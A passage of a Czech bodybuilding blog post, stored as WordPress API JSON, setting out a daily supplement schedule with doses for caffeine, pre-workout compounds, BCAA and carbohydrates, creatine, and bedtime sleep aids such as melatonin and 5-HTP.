p\u0159ich\u00e1z\u00ed ta spr\u00e1vn\u00e1 chv\u00edle na druhou d\u00e1vku energizuj\u00edc\u00edch suplement\u016f, tzn. extraktu ze zelen\u00e9ho \u010daje a kofeinu (p\u0159\u00edpadn\u011b m\u016f\u017eete vyu\u017e\u00edt kvalitn\u00ed spalova\u010d). D\u00edky tomu udr\u017e\u00edte metabolismus v\u00a0chodu a chu\u0165 k\u00a0j\u00eddlu pod kontrolou. &nbsp; D\u00e1vkov\u00e1n\u00ed: Extrakt ze zelen\u00e9ho \u010daje: 500 mg K\u00e1va: 1 \u0161\u00e1lek nebo 100 mg kofeinu &nbsp; &nbsp; P\u0158ED TR\u00c9NINKEM Chyst\u00e1te se na tr\u00e9nink a\u017e odpoledne? Pracuj\u00edc\u00ed svaly spot\u0159ebov\u00e1vaj\u00ed p\u0159i svoj\u00ed kontrakci \u0159adu d\u016fle\u017eit\u00fdch \u017eivin. Sna\u017ete se je dostate\u010dn\u011b doplnit je\u0161t\u011b p\u0159ed zah\u00e1jen\u00edm tr\u00e9ninku. P\u016fl hodiny p\u0159ed cvi\u010den\u00edm byste tedy m\u011bli u\u017e\u00edvat citrulline mal\u00e1t, agmatin a betain, abyste si zajistili pot\u0159ebnou hladinu energie, vytrvalost a schopnost svaly dostate\u010dn\u011b napumpovat. Agmatin stimuluje krevn\u00ed ob\u011bh a zvy\u0161uje hladinu NO. Jakmile je pr\u016ftok krve rychlej\u0161\u00ed, do pracuj\u00edc\u00edch sval\u016f se dost\u00e1v\u00e1 v\u00edce \u017eivin. Betain podporuje r\u016fst sval\u016f a oxidaci tuk\u016f, zat\u00edmco citrulline zvy\u0161uje hladinu energie a redukuje kyselost ve svalech, \u010d\u00edm\u017e zabra\u0148uje n\u00e1stupu \u00fanavy. V\u00a0p\u0159\u00edpad\u011b pot\u0159eby m\u016f\u017eete nyn\u00ed u\u017e\u00edt dal\u0161\u00ed d\u00e1vky extraktu zelen\u00e9ho \u010daje a kofeinu. Tato v\u00a0po\u0159ad\u00ed t\u0159et\u00ed denn\u00ed d\u00e1vka m\u00e1 prokazateln\u00fd vliv na urychlen\u00ed metabolismu a termogenezi. \u00da\u010dinky kofeinu potvrdila cel\u00e1 \u0159ada studi\u00ed. V\u00edme t\u00edm p\u00e1dem, \u017ee mimo jin\u00e9 zvy\u0161uje v\u00fdkonnost, podporuje koncentraci a oddaluje n\u00e1stup vy\u010derp\u00e1n\u00ed, nebo\u0165 stimuluje centr\u00e1ln\u00ed nervov\u00fd syst\u00e9m. &nbsp; D\u00e1vkov\u00e1n\u00ed: Citrulline mal\u00e1t: 3-6 gram\u016f Agmatin: 500-1000 mg Betain: 2\u00a0500 mg Extrakt ze zelen\u00e9ho \u010daje: 500 mg K\u00e1va: 1 \u0161\u00e1lek nebo 200 mg kofeinu &nbsp; &nbsp; B\u011aHEM TR\u00c9NINKU Pokud jsou va\u0161e tr\u00e9ninky opravdu vysoce intenzivn\u00ed a chcete p\u0159edev\u0161\u00edm nab\u00edrat svalovou hmotu, pak d\u00e1v\u00e1 smysl pod\u00e1vat suplementy s\u00a0obsahem kl\u00ed\u010dov\u00fdch \u017eivin v\u00a0tekut\u011b form\u011b i b\u011bhem v\u00fdkonu. Vhodn\u00e9 jsou vysokomolekul\u00e1rn\u00ed sacharidy (stejn\u011b jako r\u00e1no) kombinovan\u00e9 s\u00a0BCAA, kter\u00e9 zajist\u00ed pracuj\u00edc\u00edm sval\u016fm dostatek energie. V\u00a0p\u0159\u00edpad\u011b BCAA je z\u00e1kladn\u00ed podm\u00ednkou spr\u00e1vn\u00fd pom\u011br jednotliv\u00fdch slo\u017eek, potom m\u016f\u017eete po\u010d\u00edtat s\u00a0udr\u017een\u00edm spr\u00e1vn\u00e9 dus\u00edkov\u00e9 rovnov\u00e1hy a zaji\u0161t\u011bn\u00edm pot\u0159ebn\u00e9 hladiny aminokyselin ve svalov\u00e9 tk\u00e1ni, nezbytn\u00e9 pro spr\u00e1vn\u00fd pr\u016fb\u011bh proteosynt\u00e9zy. &nbsp; D\u00e1vkov\u00e1n\u00ed: Vysokomolekul\u00e1rn\u00ed sacharidy: 30 g BCAA: 6 g &nbsp; &nbsp; PO TR\u00c9NINKU Po dob\u0159e zvl\u00e1dnut\u00e9m tr\u00e9ninku jsou glykogenov\u00e9 z\u00e1soby ve svalech vypr\u00e1zdn\u011bn\u00e9, chyb\u00ed i d\u016fle\u017eit\u00e9 aminokyseliny a svaly pot\u0159ebuj\u00ed \u017eiviny op\u011bt doplnit, aby mohly n\u00e1le\u017eit\u011b zregenerovat. Pokra\u010dujte proto v\u00a0pod\u00e1v\u00e1n\u00ed rychle straviteln\u00fdch sacharid\u016f a BCAA, tzn. stejn\u00e9 sm\u011bsi jako b\u011bhem tr\u00e9ninku. Do potr\u00e9ninkov\u00e9ho n\u00e1poje je vhodn\u00e9 p\u0159idat tak\u00e9 kreatin a fenugreek. Kreatin napom\u00e1h\u00e1 dopln\u011bn\u00ed ATP a je pro pr\u00e1ci sval\u016f opravdu kl\u00ed\u010dovou l\u00e1tkou. D\u00edky n\u011bmu pak maj\u00ed svaly v\u00edce energie, mohou pracovat d\u00e9le a vynalo\u017eit v\u011bt\u0161\u00ed s\u00edlu. Jedna denn\u00ed d\u00e1vka (3 gramy) pom\u016f\u017ee hladinu kreatinu udr\u017eet v\u00a0pot\u0159ebn\u00fdch mez\u00edch. D\u00e1le m\u016f\u017eete p\u0159idat kyselinu alfa-lipoovou, kter\u00e1 napom\u00e1h\u00e1 transportu \u017eivin v\u00a0organismu a jejich vyu\u017eit\u00ed ve svalov\u00e9 tk\u00e1ni. &nbsp; D\u00e1vkov\u00e1n\u00ed: Vysokomolekul\u00e1rn\u00ed sacharidy: 30 g BCAA: 6 g Kreatin hydrochlorid: 3 g ALA: 150 mg Fenugreek: dle d\u00e1vkov\u00e1n\u00ed na produktu &nbsp; &nbsp; P\u0158ED SPAN\u00cdM Po tr\u00e9ninku a strav\u011b je to kvalitn\u00ed sp\u00e1nek, kter\u00fd pat\u0159\u00ed k\u00a0nezbytn\u00e9 v\u00fdbav\u011b ka\u017ed\u00e9ho sportovce. P\u0159eru\u0161ovan\u00fd, nekvalitn\u00ed sp\u00e1nek naru\u0161uje p\u0159irozenou hladinu hormon\u016f, utrp\u00ed t\u00edm regenerace, zpomal\u00ed se spalov\u00e1n\u00ed tuk\u016f a nem\u016f\u017ee dostate\u010dn\u011b dob\u0159e prob\u00edhat metabolizace sacharid\u016f. B\u011bhem sp\u00e1nku se toti\u017e t\u011blo regeneruje a p\u0159ipravuje na dal\u0161\u00ed v\u00fdkon. P\u0159ed span\u00edm tedy dopl\u0148te nejenom kvalitn\u00ed b\u00edlkoviny, ale tak\u00e9 \u017eiviny, kter\u00e9 v\u00e1m pomohou kvalitu sp\u00e1nku zv\u00fd\u0161it. V\u00a0tuto dobu je nejlep\u0161\u00ed pou\u017e\u00edt kaseinov\u00fd protein \u2013 t\u011blo ho tr\u00e1v\u00ed a\u017e sedm hodin, tak\u017ee jsou sval\u016fm dod\u00e1v\u00e1ny b\u00edlkoviny postupn\u011b a dostate\u010dn\u011b dlouho, aby mohla prob\u00edhat proteosynt\u00e9za i b\u011bhem noci. Dop\u0159ejte si ve\u010der proteinov\u00fd n\u00e1poj s\u00a0d\u00e1vkou kaseinov\u00e9ho pr\u00e1\u0161ku a p\u0159idejte klidn\u011b l\u017e\u00edci bur\u00e1kov\u00e9ho m\u00e1sla, kter\u00e9 zpomal\u00ed tr\u00e1ven\u00ed. Krom\u011b proteinu se do sm\u011bsi p\u0159ed span\u00edm skv\u011ble hod\u00ed melatonin, 5-HTP, GABA, L-theanin a ho\u0159\u010d\u00edk. 5-HTP neboli 5-hydroxytryptofan podporuje p\u0159irozenou produkci serotoninu, kter\u00fd navozuje uvoln\u011bn\u00ed a sp\u00e1nek. Melatonin je kl\u00ed\u010dov\u00fd hormon pro n\u00e1\u0161 cirkadi\u00e1nn\u00ed cyklus, i on zajist\u00ed kvalitn\u00ed a hlubok\u00fd sp\u00e1nek. GABA a L-theanin jsou oboje l\u00e1tky s\u00a0uvol\u0148uj\u00edc\u00edm \u00fa\u010dinkem. Ho\u0159\u010d\u00edk je na tom s\u00a0p\u016fsoben\u00edm podobn\u011b, zklidn\u00ed v\u00e1s psychicky a sou\u010dasn\u011b napom\u00e1h\u00e1 uvoln\u011bn\u00ed sval\u016f. &nbsp; D\u00e1vkov\u00e1n\u00ed: Kaseinov\u00fd protein: 30 g Melatonin: 3-5 mg 5-HTP: 50-100 mg GABA: 1500-3000 mg Ho\u0159\u010d\u00edk: 250-500 mg L-theanin: 25-50 mg &nbsp;<\/p>\n","protected":false},"author":2,"featured_media":533,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-532","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-vyziva"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/532","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=532"}],"version-history":[{"count":1,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/532\/revisions"}],"predecessor-version":[{"id":536,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/532\/revisions\/536"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/533"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=532"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=532"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=532"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}